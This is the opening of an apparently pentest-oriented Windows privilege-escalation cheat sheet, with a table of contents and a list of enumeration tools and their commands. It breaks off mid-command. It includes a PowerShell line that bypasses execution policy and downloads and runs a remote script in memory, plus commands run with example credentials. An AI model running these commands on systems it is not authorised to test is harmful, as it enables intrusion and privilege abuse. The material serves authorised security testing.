Internal Network Pentest and IR Reference: windows privilege escalation

# Windows - Privilege Escalation

## Summary

* [Tools](#tools)
* [Windows Version and Configuration](#windows-version-and-configuration)
* [User Enumeration](#user-enumeration)
* [Network Enumeration](#network-enumeration)
* [Antivirus Enumeration](#antivirus-enumeration)
* [Default Writable Folders](#default-writable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
    * [SAM and SYSTEM files](#sam-and-system-files)
    * [HiveNightmare](#hivenightmare)
    * [LAPS Settings](#laps-settings)
    * [Search for file contents](#search-for-file-contents)
    * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
    * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
    * [Passwords in unattend.xml](#passwords-in-unattendxml)
    * [Wifi passwords](#wifi-passwords)
    * [Sticky Notes passwords](#sticky-notes-passwords)
    * [Passwords stored in services](#passwords-stored-in-services)
    * [Passwords stored in Key Manager](#passwords-stored-in-key-manager)
    * [Powershell History](#powershell-history)
    * [Powershell Transcript](#powershell-transcript)
    * [Password in Alternate Data Stream](#password-in-alternate-data-stream)
* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks)
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
* [EoP - $PATH Interception](#eop---path-interception)
* [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - Microsoft Windows Installer](#eop---microsoft-windows-installer)
    * [AlwaysInstallElevated](#alwaysinstallelevated)
    * [CustomActions](#customactions)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
* [EoP - Printers](#eop---printers)
    * [Universal Printer](#universal-printer)
    * [Bring Your Own Vulnerability](#bring-your-own-vulnerability)
* [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
    * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
    * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
    * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
    * [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
    * [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver))
    * [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw))
    * [PrintSpoofer (Printer Bug)](#printspoofer-printer-bug)))
* [EoP - Privileged File Write](#eop---privileged-file-write)
    * [DiagHub](#diaghub)
    * [UsoDLLLoader](#usodllloader)
    * [WerTrigger](#wertrigger)
    * [WerMgr](#wermgr)
* [EoP - Privileged File Delete](#eop---privileged-file-delete)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
    * [MS08-067 (NetAPI)](#ms08-067-netapi)
    * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt[PII_REDACTED]08xpvista7)
    * [MS11-080 (adf.sys)](#ms11-080-afdsys---microsoft-windows-xp2003)
    * [MS15-051 (Client Copy Image)](#ms15-051-client-copy-image---microsoft-windows[PII_REDACTED]2012)
    * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
    * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
    * [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception)
* [References](#references)

## Tools

* [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)

    ```powershell
    powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
    ```

* [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson)
* [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock)

    ```powershell
    powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
    ```

* [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
* [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)

    ```powershell
    ./windows-exploit-suggester.py --update
    ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
    ```

* [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
* [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
* [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
* [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)

    ```powershell
    Seatbelt.exe -group=all -full
    Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
    Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
    ```

* [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
* [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)

    ```powershell
    powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
    ```

* [winPEAS - Windows Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)
* [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng)

    ```powershell
    # First obtain systeminfo
    systeminfo
    systeminfo > systeminfo.txt
    # Then feed it to wesng
    python3 wes.py --update-wes
    python3 wes.py --update
    python3 wes.py systeminfo.txt
    ```

* [PrivescCheck - Privilege Escalation Enumeration Script for Windows](https://github.com/itm4n/PrivescCheck)

    ```powershell
    C:\Temp\>powershell -ep bypass -c "